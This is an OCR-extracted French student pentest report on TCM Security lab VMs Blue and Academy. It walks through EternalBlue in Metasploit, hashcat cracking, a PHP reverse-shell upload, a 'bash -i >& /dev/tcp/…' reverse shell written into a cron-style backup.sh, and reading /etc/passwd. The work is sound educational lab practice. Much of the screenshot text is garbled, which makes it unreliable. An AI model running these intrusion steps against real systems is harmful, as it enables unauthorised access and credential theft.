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Introduction

Durant cette SAE, nous avons pu mettre en application ce que nous avons appris
durant la ressource « Méthodologie de Pentesting ». Nous avons pu mettre en place les 4
premieres phases du pentesting qui sont la reconnaissance, le scanning, I'évaluation des
vulnérabilités et I'exploitation, les phases « maintenir I'acces » et « effacer nos traces »
étant hors de notre portée. Nous avons travaillé sur 5 machines vulnérables (mises a
disposition par TCM Security) dont la difficulté est croissante :

e Blue (Windows)

e Academy (Linux)

e Dev (Linux)

e Butler (Windows)
e Black Pearl (Linux)

De plus, avant de commencer nos différentes manipulations sur les machines, nous
avons rejoint différents forums et réseaux sociaux qui pourraient nous aider si nous
sommes beaucoup trop en difficulté et que nous perdons trop de temps, par exemple : le
serveur discord de TCM, les reddits « r/Pentesting » et « r/pentest » et leurs Discords,
différentes chaines YouTube « Pentest-Tools », « Pentester Academy TV », « hack5 » ou

encore « LiveOverflow », etc...

Nous savions que ces différentes sources d’informations pourraient nous étre utile
durant les phases de pentest.

Pour les 5 machines, nous avons utilisés les 2 commandes suivantes :

e netdiscover -r <@ du réseau>
o Outil utilisé pour détecter des périphériques connectés a un réseau local
o -r permet de spécifier une plage d'adresses IP
e nmap-T4 —-p—A <adresse IP>
o T pourlavitesse :de 0 a5, 4 est une valeur qui permet d’avoir un résultat
rapide
O -p- pour scanner tous les ports (si on ne précise rien nmap va scanner les
ports normalisés)
o -Adétecte plus d’informations

Enfin, pour chaque machine virtuelle a Pentest, nous I'avons placée en dans le méme
réseau NAT que notre Kali avec le DHCP activé.
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Machine vulnérable 1 : Blue

1. Découverte de I’adresse IP et des services de la machine

Dans un premier temps, nous recherchons I'adresse IP de la machine cible avec la
commande suivante que nous utiliserons durant I’entiéreté de la SAE :

netdiscover -r 10.0.2.0/24

52:54:00:12:35: Unknown vendor
08:00:27:f6:76: PCS Systemtechnik GmbH
08:00:27:2a:95: PCS Systemtechnik GmbH

Figure 1 : Adresse IP

Nous utilisons ensuite NMAP pour découvrir les différents ports ouverts sur la
machine, et donc les services correspondants, la commande suivante sera utilisée durant
I’entiéreté de la SAE, seule I’adresse IP de la cible va changer (nos deux machines de travail
ne sont pas configurées avec le méme réseau NAT) :

nmap -Td -p- -A 10.0.2.15

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-10 10:00 CET

Nmap scan report for 10.0.2.15

Host is up (0.015s latency).

Not shown: 65526 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49159/tcp open msrpc Microsoft Windows RPC

Service Info: Host: WIN-845Q99004PP; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
5. 5

Message signing enabled but not required

| smb2-time:
| date: 2024-12-10T09:02:20

start_date: 2024-12-10T13:28:35
b-security-mode:
account_used: guest
authentication_level: user
challenge_response: supported
_ message_signing: abled (dangerous, but default)
NetBIOS name: WIN-845Q99004PP, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:2a:95:91 (Oracle VirtualBox
)
| smb-os-discovery:
| 0S: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
0S CPE: cpe:/o:microsoft:windows_7::spl
Computer name: WIN-845Q99004PP

1 2024-12-10T04:02:20-05:00
w: mean: 1h40m@0@s, deviation: 2h53ml2s, median: 0s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.94 seconds

Figure 2 : Découverte des services
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Nous pouvons observer qu’il s’agit d’'une machine Windows 7 Ultimate. Trois ports
intéressants sont ouverts sur cette machine :

e TCP 135: Protocole RPC (Remote Procedure Call). Ce service permet aux
autres machines d’obtenir les différents services actifs sur la machine.
Concretement, une machine distante va demander sur le port 135 le numéro
du port pour tel service. Cette derniere pourra ensuite se connecter sur le
port correspondant.

e TCP 139 : Protocole NetBIOS (NETwork Basic Input Output System). Ce service
permet aux machines Windows de créer des partages de fichiers et
d’imprimantes. Il s’agit d’un service vieillissant (utilisé sur Windows XP et
antérieur).

e TCP 445: Protocole SMB (Server Message Block). Ce service remplace
NetBIOS pour proposer des partages de fichiers et d’'imprimantes sur les
réseaux de machines Windows.

2. Recherche et lancement de I'attaque avec Metasploit

Le protocole Samba (SMB) est connu pour sa faille de sécurité EternalBlue utilisée
dans le ransomware WannaCry, a savoir la vulnérabilit¢ MS17_010_eternalblue (voir
sources). Cette faille qui touche le service SMBv1 permet |'exécution de code a distance.
Nous allons donc tenter de trouver un exploit avec Metasploit :

iptien

010 EfErnalBliig SME Remote Windows Kernel Pool Corruption

2017-03-14 normal Yes M517-010 EternalRs /Eter ternalChampion SMB Remote Windows Code Execution

@_command 2017-083-14 normal N MS17-010 EternalRomance/Etern ergy/EternalChampion SMB Remote Windows Command Execution

r/smibl/SmB_ms17_010 . normal N M517-010 SME RCE

ULSAR
ETERNALBLUE . . .
/ / 2017-04-14 44 Y SMB DOUBLEPULSAR Rem

fo 29, 2
a TARGET with t

Figure 3 : Recherche d'exploits sur SMIB
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Metasploit répertorie I'exploit EternalBlue mentionné précédemment. Voici les
parametres de cet exploit :

msf6 ) » show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Curre c ting Regui escription

RHOSTS 10. 5 yes
RPORT

SMBEDomain

SMBPass
SMBUser
VERIFY_ARCH

VERIFY_TARGET

d, process, none)
; pecified)
The listen port

ull module info with the info r info command.

Figure 4 : Paramétres de I'exploit
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Nous langons donc I'attaque avec la commande run :

4
r/smb/smb_ms17
ULNERABELE to M

(1 ompl

? buffer.

re 4
RNALELUE & C Coeae0eD)!
di
orrupted buffer.
.1
g +0100

meterpret

Figure 5 : Reverse Shell

Le texte WIN s’affiche, qui laisse penser que I'attaque a fonctionné. Afin de s’en
assurer, nous tapons la commande pwd qui permet d’afficher le chemin du répertoire
courant :

> pwd
ndows\systen

Figure 6 : Chemin local

Nous sommes donc bien dans le shell de Windows. La commande de Metasploit
getsystem permet de passer en utilisateur privilégié :

Figure 7 : Elévation de priviléeges

Le shell indique que nous sommes déja utilisateur systeme, nous contrélons donc la
machine avec les privileges les plus élevés. Pour confirmer cela, nous tentons de créer un
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répertoire dans System32, normalement éditable uniquement par un administrateur du
systeme :

N—TW-T'W-
I I'W-

lehlp.dll
xpsrchvw

666,/ TW-rW-TW- 2 1] 1 B¢ 4:91 +01
BLa777/ . @ 12-18 17 9 +@10@

Figure 9 : Contréle de la création du répertoire

Le répertoire s’affiche bien avec la commande dir, il est bien créé. Nous sommes
donc administrateur de la machine, I'attaque a fonctionné.
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Machine vulnérable 2 : Academy

1. Découverte de I’adresse IP et des services de la machine
Découverte de I’adresse IP :

‘endor / Host

Systemtechnik GmbH
Systemtechnik GmbH

Figure 10 : Adresse IP

Identification des ports ouverts sur la machine cible :

\p scan
Host is up
Not shown:
PORT STATE

lient count
fast, sta

Anonymous FTP login allowed
T 1000 TO0w
H 7.9p1 Debian 10+

f ok

port a
scanned in

Figure 11 : Découverte des services
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Nous pouvons voir qu’il s’agit d’une Debian 10+deb10u2. Nous observons 3 ports
intéressants d’ouverts :

e TCP 21: Protocole FTP sert a établir la connexion initiale entre le client FTP et le
serveur FTP. Nous observons que la connexion anonyme est autorisée. Nous avons
une version vsftpd 3.0.3. Apres des recherches sur internet nous avons trouvé 2
failles de sécurité :

- Remote Denial of Service (Remote DoS) est une attaque visant a rendre un
service ou un systéme inaccessible a distance pour ses utilisateurs légitimes

- Une backdoor est un moyen secret d'accéder a un systeme informatique, a
un logiciel ou a un réseau en contournant les mécanismes de sécurité
habituels

Pour le Remote DoS nous avons décidé de ne pas I'utiliser car I'objectif de cette SAE
est de prendre le contréle de la machine en mode root. Vous trouverez tout de méme le
lien de cette I'attaque ainsi que sa CVE dans les sources.

En revanche, nous avons utilisé la backdoor (voir sources) pour essayer de gagner
I'acces.

e TCP 22 : Protocole SSH que I'on pourra potentiellement utiliser pour se connecter
a distance, nous observons les différentes clés qui permettent d’authentifier le
serveur aupres du client qui se connecte et qui utilise différents types d’algorithme :

- RSA (2048 bits)

= Utilité : RSA est un algorithme historique trés utilisé pour le
chiffrement et la signature

= Sécurité : Une clé RSA de 2048 bits est encore considérée comme
shre aujourd'hui

- ECDSA (256 bits)

= Utilité : ECDSA (Elliptic Curve Digital Signature Algorithm) est plus
moderne que RSA et utilise la cryptographie a courbes elliptiques

= Avantage : ECDSA offre un niveau de sécurité équivalent a RSA mais
avec des clés beaucoup plus petites. Cela le rend plus rapide

- ED25519 (256 bits)

= Utilité : ED25519 est un algorithme récent basé sur des courbes
elliptiques. Il est optimisé pour la performance et la sécurité
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= Avantage : Plus rapide et plus sécurisé que RSA et ECDSA. Il est
recommandé pour les nouvelles installations

e TCP 80 : Service Web HTTP donc trafic non sécurisé et non chiffré, une version
d’Apache 2.4.38 est utilisée

2. Tentative d’attaque sur le serveur FTP

Nous passons maintenant a I'attaque en utilisant le code avec la backdoor que nous
téléchargeons depuis le GitHub que vous pouvez trouver dans les sources. Nous déplagons
le fichier amdorj_vsftpd_backdoor.rb dans le dossier avec les différents exploits de
ftp :

—f |- [~/Downloads ]

— do amdorj_vsftpd_backdoor.rb fusr/share/metasploit-framework/modules
Jexploits/unix/ftp/

Figure 12 : Déplacement du code d'attaque

Nous lancons ensuite Metasploit et commencons |'attaque :

Disclosure Date
ription

auxilia os/ftp/wsftpd 2011-82-03 normal
VSFTPD 2 Denial of
exploit/uni pfvstipd_ | 2011-87-03 1.1
VSFTPD oor Command Ex
mdorj_wsftpd_backdoor . 1
door Command Execution

a module by name or index. For example

Figure 13 : Choix de l'attaque précédemment importée
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msf6 exploit(
RHOST = 180.8.2.8
msf6 exploit(

18.8.2.8:21 - Banner: 2280 (vsFTPd 3.8.
18.0.2.8:2 SER: 331 Please specify the password.

Exploit completed, but no session was created.

Figure 14 : Echec de l'attaque

L'attaque n’est donc pas concluante.

3. Connexion au serveur FTP

Nous essayons maintenant de nous connecter a la connexion Anonymous de FTP
observé précédemment.

120 (vsFTPd 3.0,
ame (18.0.2.7:kali): Anonymous
i password.

UNIX.

sing binary e to transfer files.

Ftp> 1s

)29 Entering Extended Passive Mode (||[51704])
150 Here comes the directory listing.
rw-r—r-—— 1 1868 1808 776 May
26 Directory send OK.

rtps

Figure 15 : Tentative de connexion a FTP en Anonymous

Nous remarquons que nous n’avons pas besoin d’entrer un mot de passe car la
connexion anonyme sur un serveur FTP permet a un utilisateur de se connecter sans avoir

besoin de fournir un nom d'utilisateur ou un mot de passe spécifiques. Nous décidons de
télécharger le seul fichier disponible avec get :
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): Anonymous
the password.

Using bin

> 1ls

y listing.
(== 1 1@ea 1808
Directory send OK.
> get note.txt
note. remote: note.txt
Entering Extended Passive Mode (|| 48] )
Opening BINARY mode data connection for note.txt
A dhkkdkkdkdkhkhdddhkdhdbdbdddddhhbddbbiiid T76 73 KiB/ PR-@0 ETA
Transfer comp
776 bytes received in 00:00 (4.58 KiB/s)
ftp> ]

Figure 16 : Téléchargement du fichier disponible sur le serveur FTP

Nous le trouvons donc dans notre home personnel. Voici ce que nous obtenons en

ouvrant le fichier note.txt :

— note.txt
Hello Heath !

Grimmie has setup e te website for e e demy .

I told him not to : e same password e , he will

I couldn®
into the

INSERT INTO “students”™ ( StudentRegno’,
ame”, “pincode’, “session’, “department”,
“updationD

The StudentRegno number is what you use for login.

Le me know what you think of this open-source project, it's from 2820
hould be se . right ?
We can alway idapt it to our needs.

-jdelta

Figure 17 : Lectrure du fichier note.txt
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Nous apprenons que l'utilisateur « Grimmie » utilise le méme mot de passe partout

et qu’il existe un serveur SQL avec une table « student » ol nous découvrons diverses

informations intéressantes comme le nom d’un étudiant « Rum Ham », le Hash de son mot

de passe et le login pour la connexion qui est le « StudentRegno ».

Nous décidons de nous concentrer sur le hash.

4. |dentification et Brute force du Hash

Nous commengons par identifier le hash avec I'outil « hash-identifier » que nous

utiliserons a chaque fois pour identifier un hash :

Tl

Ro

T e T R T T e

HASH: cd73502828457d15655bbd7a63fbobcs

Possible Hashs:
[+] MD5
L+] Domain Cached Credentials - MD&(MD&4((%pass)).(strtolower($username)))

Least Possible Hashs:
[+] RAdmin v2.
[+]

[+] W

[+] MD2

[+] M

[+] M

[+] W

[+]1 M ! rdpress))
[+]

[+]

[+]

[+] RipeMD-1
[+] S

[+] S

[+]

[+]

[+]

[+]

[+]

[+]

[+]

[+]

[+]

[+]

[+]

[+]

[+]

Figure 18 : Test du hash de mot de passe
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C'est donc un MD5. Nous passons au Brute force de ce hash avec la commande
suivante :

hashcat -m © md5hash.txt /usr/share/wordlists/rockyou.txt

e hashcat : C'est I'outil utilisé pour effectuer le crackage de mots de passe
(Nous Il'utiliserons a chaque fois que nous voudrons cracker un hash.)

e —m 0 :Cette option spécifie le type de hachage a cracker. Le chiffre 0 indique
que l'algorithme de hachage est MD5.

e md5hash.txt : Cest le fichier contenant le hachage MD5 que 'on veut
cracker.

e /usr/share/wordlists/rockyou.txt:C'estle fichier de dictionnaire
utilisé pour tenter de Brute force les mots de passe originaux, rockyou.txt est
un fichier contenant des mots de passe courants.

Voici le résultat de notre commande :

) md5hash.txt /usr/share/wordlists/rockyou.txt
arting

PoCL 6.@+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platfo

3th Gen Intel(R) Core(TM) i9-139@0@H, 2917/5898 MB (1024 MB allocatable), 11MCU

rnel: @
’th supported by

1 unique digests, 1 unig
36 entries, @x0000ffff ma 2144 bytes, 5/13 rotates

Watchdog: Temperature abort trigger set to 9@c

Host memory required for this attack: 3 MB

wordlists/rockyou.txt

Figure 19 : Lancement du bruteforce
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Watchdog: Temperature abort trigger set to 9@c

Host memory required for this attack: 3 MB

Dictionary cache built:
Fil : Jusr/share/wordlists/rockyou.txt
Passwords.: 14

Pure Kernel
File (/usr/share/wordlists/rockyou.txt)
1/1 (100.007
240.9 kH/s (
1/1 (100.0

arted: Thu Dec 12
opped: Thu Dec 12

t
t

Figure 20 : Succés du bruteforce

Nous découvrons que le mot de passe est « student ».

Nous essayons ce mot de passe sur une connexion SSH avec I'utilisateur Rum Ham
avec son numéro « StudentRegno ».

~

10201321010.0.2.8

10201321910.0.2.8"'s password:
Permission denied, please try again.
10201321910.0.2.8's password: [

Figure 21 : Tentative de connexion SSH avec le numéro d'utilisateur

Cela ne fonctionne pas, nous décidons donc de le tenter avec le nom d’utilisateur.

Pierre FROSTIN et Matthias DUMAS — BUT2 R&T La Rochelle —2024-2025
Page 17 sur 91



~

RUmM_Ham@10.0.2.8
RUm_Ham@l10.0.2.8's password:

Permission denied, please try again.
RUm_Ham@10.0.2.8's password: [j

Figure 22 : Tentative de connexion SSH avec le nom d'utilisateur

Cela ne fonctionne pas non plus. Nous décidons alors d’exploiter une possible faille

du service HTTP.

5. Exploitation du service HTTP

Premiérement nous décidons simplement de nous connecter
serveur :

a la page web du

®»  Apache? Debian DefaultPac x  +

QO & 10.028 S

KaliLinux § Kali Tools ¢ KaliDocs 3 Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB

Apache2 Debian Default Page

%_
This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server installed

at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Debian's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Debian toels. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

/etc/apache2/

|-- apache2.conf

| ‘-- ports.conf
|-- mods-enabled

| |-- *.load
| *-- *_conf
|-- conf-enabled

|

|

I

t-- *.conf
-- sites-enabled
‘-~ *_conf

+« apache2.conf is the main configuration file. It puts the pieces together by including all remaining
configuration files when starting up the web server.

+ ports.conf is always included from the main configuration file. It is used to determine the
listening ports for incoming connections, and this file can be customized anytime.

+ Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ directories contain
particular configuration snippets which manage modules, global configuration fragments, or

Figure 23 : Page par défaut d'Apache
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Nous inspectons la page mais ne trouvons rien d’intéressant, nous sommes juste en
présence de la page par défaut d’Apache2 :

ali NetHunter % Exploit-D3

Figure 24 : Mode inspection sur la page par défaut
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Nous utilisons maintenant I'outil de scan de vulnérabilités nikto qui scanne les
serveurs web a la recherche de failles de sécurité, de configurations incorrectes, ou de
logiciels obsolétes.

nikto -h 10.0.2.8

8:41:15 (GMT1)

-Options

der . r t to r r the content of t
the MIME . .netsp: jul il nner/vuln i

s to be outd: ent is at lea ache/2. = is the EOL for t

inodes
cgi-bin me.cgi?nam
OPTIONS, HEAD,
g.php: Cookie goto cr £ lag. ° ] £ oper.mozilla

log.php: Cook C Bl 2/ eloper.mozill

with contents: 1.
ases, and should be protected

found. e: b.co.uk/apache-restricting
found.
s, and should protected or limited to authorized h

on remote host
8 seconds)

Figure 25 : Résultat du scan de Nikto

Nous essayons maintenant de trouver des sous-répertoires avec la commande
suivante :

dirb http://10.0.2.8/

Pierre FROSTIN et Matthias DUMAS — BUT2 R&T La Rochelle —2024-2025
Page 20 sur 91



DIRB v2.2
By The Dark Ra

START_TIME:

0.2.8/

URL_BASE: http:

WORDLIST_FILES:

GENERATED WORDS:

4612

g UFL “http

+ http
+ http
— DIR
+ http

» DIRECTORY:

thpmvadﬂin
/ /phpinfo.php
fphpmyidﬂl 'README (CODE
fphpmyddmln abaT dxt {

fusr/sh Jdirb/wordlists,/common.txt
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Nous trouvons un service phpMyAdmin et nous tentons de nous y connecter :

php
Welcome to phpMyAdmin
Language
English w
Log in &
Username: root
Password: sssssnss

Go

b Failed to set session cookie. Maybe you are using
HTTP instead of HTTPS to access phpMyAdmin.

Figure 26 : Tentative de connexion a phpMyAdmin

Nous tentons maintenant de trouver des sous répertoires avec une méthode plus
violente avec la commande suivante :

gobuster dir -u http://10.0.2.7/ -w
/usr/share/wordlists/SecLists/Discovery/Web—Content/directory-
list-2.3-medium.txt —--no—-error -x php

e —u http://10.0.2.7/ : spécifie I'URL de la cible sur laquelle I'attaque est
effectuée.

e -w /usr/share/wordlists/SecLists/Discovery/Web-
Content/directory-list-2.3-medium.txt : indique le chemin du
fichier de liste de mots (wordlist) a utiliser pour la recherche.

e ——no-error : Cette option permet de ne pas afficher d'erreurs (comme les "404
Not Found") dans la sortie de la commande, rendant ainsi la sortie plus claire et plus
concise.

Voici ce que nous découvrons :
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http://10.0.2.7/

hare/wordlists/dirbuster
/ J/usr/share/wordlists/dirbuster/direc

dir
tory-list-2.3-medium.txt

fusr/share/wordlists/dirbuster

Figure 27 : Exécution de GoBuster

Nous découvrons qu’il existe un répertoire /academy. Voici ce que nous voyons :

Student Login
O & o~ 10.0.27/academy/index.ph w
ali Linux & Kali Tools KaliDocs ™ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB

Welcome: Rum Ham Last Login: at

ONLINE COURSE
REGISTRATION &

PLEASE LOGIN TO ENTER

Enter Regno:
10201321

Enter Password :

[ £ oot

This is a free bootstrap admin template with basic pages you need to craft your project. Use this template for
free to use for personal and commercial use.
Some of its features are given below :

« Responsive Design Framework Used

= Easy to use and customize

+ Font awesome icons included

» Clean and light code used

Figure 28 : Page de connexion d'une plateforme de cours en ligne
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Nous nous connectons avec les informations que nous avions trouvées
précédemment et nous réussissons a nous connecter :

@ &1

Kali Linux f& KaliTools = Kali T Kali Forums o\ Kali NetHunter Exploit-DB Google Hacking DB

NI 1T NATITVIN E+

ENROLL FOR COURSE EMROLL HISTORY MY PROFILE CHANGE PA RD LOGOUT

STUDENT REGISTRATION

Student Registration
Student Name
Rum Ham

Student Reg No

10201321

Pincode

77T

CGPA

7.60

Student Photo

& il &) E il & (8 (3] crrL bromE

Figure 29 : Création de compte réussie
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Nous essayons de changer la photo de profil pour voir si cela fonctionne :

EMROLL F

STUDENT REGISTRATION

Student Registration

Student Record updated Successfully !

Student Name

Rum Ham

Student Reg No

10201321

Pincode

T

CGPA

7.60

Student Photo

Upload Mew Photo

[Browse... | No file selected.

Update

Figure 30 : Changement de photo de profil réussi

Nous essayons également de mettre un fichier texte dans le champ d’envoi, et a notre
grande surprise cela fonctionnait également. A partir de ce moment-la, nous avons
directement pensé a effectuer un reverse shell.

6. Reverse shell

Nous savons que nous sommes sur une page PHP. Nous cherchons donc sur Internet
des informations sur I'existence de scripts ou de commandes qui nous permettraient de
faire ce reverse shell PHP.

Nous utilisons donc le site revshells.com et nous décidons d’utiliser I'un des reverse

shell qui nous sont proposés : le « PHP PentestMonkey ».
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https://revshells.com/

& c 25 revshells.com v 0 O

IP & Port Listener

B 10.10.10.10
Port 2001 +1

MSFVenom HoaxShell

php @ Show Advanced B

PHP
PentestMo

# <2ph
nkey # <2php

// php-reverse-shell - A Reverse 5Shell

implementation in PHP. Comments stripped to
PHP Ivan

Sincek

slim it down. RE:
https://raw.githubusercontent.com/pentestmon
key/php-reverse-shell /master/php-reverse-
shell.php

// Copyright (C) 2067

PHP cmd 2 pentestmonkey@pentestmonkey.net

PHP cmd

PHP cmd set_time limit (8);
small $VERSION = "1.8";
$ip = °
PHP exec
s Shell /bin/bash
shell_exec Encoding None

PHP
system

Figure 31 : Reverse Shell généré

Nous remplacons par la bonne IP et le bon numéro de port, puis nous copions le script
dans un fichier que nous nommons reverse. php (vous trouverez le lien du GitHub ou se
trouve le script dans les sources) que nous placons a la place du fichier texte. Avant de
mettre a jour la photo de profil, nous exécutons cette commande :

nc —-lnvp 3333

e -1 : Indique a Netcat de fonctionner en mode écoute (listening), c'est-a-dire qu'il
attendra des connexions entrantes sur un port spécifique
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e —n : Empéche Netcat de rechercher les noms d’héte des machines ciblées. Cela
permet d’accélérer la connexion et d’éviter de générer une requéte DNS

e -V : Active le mode verbose, c'est-a-dire qu'il fournit plus d'informations et de
détails sur ce qui se passe, comme les connexions entrantes et sortantes

e —p : Spécifie le port sur lequel Netcat doit écouter les connexions. Dans ce cas, il
s'agit du port 3333

Nous lancons le script en cliquant sur « update » sur la page web du site en ayant
préalablement uploadé le script PHP. Voici ce que nous obtenons :

)= [ ~fDownloads ]

listening on [a o

connect to [10.8.2.5] from (UNKNOWN) [1@.0.2.7] 33€
id

uid= -data) gid=33(www-data) groups=33(wm-data)
whoami

ww —-data

Figure 32 : Reverse Shell obtenu

Nous obtenons donc la connexion avec un utilisateur s’appelant « www-data ». Nous
ne sommes pas encore « root » mais nous avons bien avancé. Nous devons maintenant
passer a la partie escalade de privileges.

7. Escalade de privileges

Tout d’abord, comme vous pouvez le voir sur la capture précédente, nous avons un
shell trés peu esthétique, nous décidons donc de I'améliorer pour nous faciliter la tache en
utilisant la commande suivante (nous avons trouvé cette commande sur différents sites sur
Internet, vous trouverez les différents liens dans les sources) :

python —-c 'import pty;pty.spawn("/bin/bash")'
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e python -c:Lance une commande Python directement depuis la ligne de
commande. L'option -c permet d'exécuter le code Python qui suit entre les
guillemets

e import pty:Importe le module pty

e pty.spawn("/bin/bash") : Cette fonction démarre un nouveau
processus en utilisant le programme spécifié, ici /bin/bash (le shell Bash).
pty.spawn permet d'exécuter le programme dans un pseudo-terminal, ce qui
permet d'obtenir un shell interactif a I'intérieur du terminal actuel

Ensuite nous allons dans le fichier /etc/passwd pour avoir des informations sur les

utilisateurs :

wdemy : /home$ cd /etc

cademy:/etc$ cat passwd

swd
:root:/root:/bin/bash
non: /usr/sbin:/usr/sbin/nologin
:/usr/sbin/nologin
sr/sbin/nologin
in:/bin/sync
:/usr/sbin/nologin
ar/ca /man:/usr/sbin/nologin
spool/lpd: fusr/sbin/nologin
/mail:/usr/sbin/nologin
fusr/sbin/nologin

/list:/usr/sbin/nologin
sbin/nologin

ent, ,,:/run/systemd: /usr/sbin/nologin
run/systemd: fusr/sbin/nologin

istent:/usr/sbin/nologin
fusr/sbin/nologin

Dumper:/: /usr/sbin/nologin

tent:/bin/false

' usr/sbin/nol

rator,,,:/home/grimmie: /bin/bash

Figure 33 : Obtention du fichier /etc/passwd

Maintenant dans le fichier /etc/shadow

mwﬂ—datamaiademy:fetc$ cat shadow
cat shadow

cat: shadow: Permission denied
wwn -datadacademy: fetc$ i

Figure 34 : Refus de l'ouverture du fichier /etc/shadow
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Mains nous n’avons pas les autorisations.

D’apres ce que nous avons vu, nous essayons de chercher dans le dossier de
I"utilisateur « grimmie ». Nous découvrons que grimmie (propriétaire) peut lire, écrire et
exécuter le fichier, les membres du groupe administrator peuvent lire et exécuter le fichier
et tous les autres utilisateurs peuvent seulement lire le fichier :

wwi-data@academy: /home/grimmie$ 1s -1
1s -1

total 4

-rwxr-xr-—— 1 grimmie administrator 42 Dec 12 09:14 backup.sh
www -data@academy: /home/grimmie$ [

Figure 35 : Droits sur le fichier backup.sh

Nous ne pouvons rien faire a part lire le fichier que voici :

www-datagacademy :
cat backup.sh
#! /bin/bash

rm Stmp/backup.zip

zip -r /tmp/backup.zip /var/www /html/academy/includes
chmod 708 /tmp/backup.zip
wenw —datagacademy: /home/grimmie$ |j

Figure 36 : Lecture du fichier backup.sh

Voici ce que le script backup.sh fait :

e Supprime le fichier backup.zip qui se trouve dans le répertoire /tmp
e Compresse le fichier backup.zip dans le répertoire
/var/www/html/academy/includes

e Change les permissions de /tmp/backup . zip pour que seul le propriétaire
puisse le lire, I'écrire et I'exécuter

Nous avons ensuite décidé d’aller dans le répertoire qui nous est indiqué dans le
script :
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y :/home/erimmie% cd /var/waw/html

t/var/vam /html$

mwm—dat. ademy: /var/www/html/academy$ cd includes

cd includes

waw-datamaca i /var/wa /html/academy/includes$ 1s
1s

config.php footer.php header.php menubar.php

Figure 37 : Affichage du répertoire /var/www/html/academy/includes

Nous y découvrons plusieurs fichiers, mais le seul qui est intéressant est le fichier
config.php:

/sql_hostname
ql_user

$m53q1 _d a
$bd = mysqli_ <onn=<t|$ rsql_hostname, $mysql_user, $mysql_password, $mysql_database) or die("Could not connect datab

ase”);

75
wuw-datadacademy: /var/w/html/academy/includes$ i

Figure 38 : Affichage du fichier config.php

Nous découvrons donc que le mot de passe de lutilisateur grimmie est
My_V3ryS3cur3_P4ss.

Nous lancons directement une connexion SSH :

Debian 4.19.181-1

Password:
su: Auth

su: Authentication
grimmie

Figure 39 : Connexion a SSH
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La connexion SSH fonctionne, mais notre tentative de connexion en tant que root ne
fonctionne pas.

Nous avons ensuite exploré les différents fichiers et dossiers de |'utilisateur grimmie.
A partir de ce moment, nous avons perdu énormément de temps a chercher dans les
différents fichiers et dossiers de |'utilisateur grimmie sans grands résultats, le seul fichier
que nous retrouvons est backup . sh. Nous décidons donc de I'éditer pour effectuer un
reverse-shell :

bash -i >& /dev/tcp/10.0.2.5/7777 0>&1

Apreés exécutions nous remarquons qu’il est non concluant car nous retombons
directement sur 'utilisateur grimmie :

) - o~

~-lnvp 7777

listening on [any] 7777

connect to [18.8.2.5] from (UNKNOWN) [10.@.2.8] 50022
grimmiedacademy:~$ ||

Figure 40 : Reverse Shell

Nous avons donc décidé d’essayer de nous connecter a la base de données MariaDB
pour voir si elle contenait des informations intéressantes. Nous nous connectons avec le
login et le mot de passe de |'utilisateur « grimmie » :

il —da my : L/academy/1ncludes$ mysgql -u grimmle -p
mysgl -u grimmie -p
Enter password: My_

Welcome to the MariaDB monitor. Commands end with ; or h\g.

aDB conn ion id is 59

ver version: 10. 7-MariaDB-@+debl@ul Debian 10
Copyright (c) 200@, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type "“c' to clear the current input statement.
MariaDB [(none)}]> SHOW DATABASES;
SHOW DATABASES;
+

| Database

information_schema
mysql

5 rows in set (0.01@

MariaDB [(none}]> |

Figure 41 : Connexion a la base de données MariaDB
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Nous décidons d’inspecter la premiere base de données qui est
« information_schema » mais nous ne trouvons rien d’intéressant et, aprés recherches,
nous avons appris que la base information_schema est une base systeme contenant des
informations sur la structure de toutes les autres bases de données sur le serveur MariaDB.
Donc rien d’intéressant trouvé dans cette base de données.

Nous avons ensuite regardé dans la base de données « onlinecourse » et les seules
informations importantes trouvées étaient dans la base de données « admin » :

se changed
B [onlinecourse]> show tables;
show tables;
T S D
| Tables_in_onlinecourse
+

1

e
tudents
| userlog

d
C
q
d
| pll
s

PP B
) rows in set (@.001 sec)

> select # from admin;
ct * from admin;
-
username | password creationDate updationDate
_— e e
admin p1-24 11:21:18 | 29 21 11:46:49 PM

1 row in set (@.004 sec)

Figure 42 : Visualisation de la base de données "OnlineCourse"

Nous avons donc le hash du mot de passe de I'admin, nous mettons cela de c6té et
continuons notre exploration.

L'unique table avec des informations intéressantes est « user » :
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| Y

| 0.000000
| leocalhost |
I N

| D.000000

localhost ~;

Figure 43 : Visualisation de la table "user"

Nous avons maintenant le hash de l'utilisateur root est nous remarquons qu’il est
différent de celui d’admin, nous sommes donc s(r que c’est 2 mots de passe sont utilisés
pour des acces différents.

Nous passons maintenant au crack du hash du mot de passe root ainsi que du mot
de passe admin, sachant que nous avons déja connaissance du mot de passe de |'utilisateur
grimmie et nous décidons de ne rien tester sur pma pour le moment.

Voici le hash « root » :

HASH: BDEB44F79A130

Possible Hashs:
[+] SHA-1
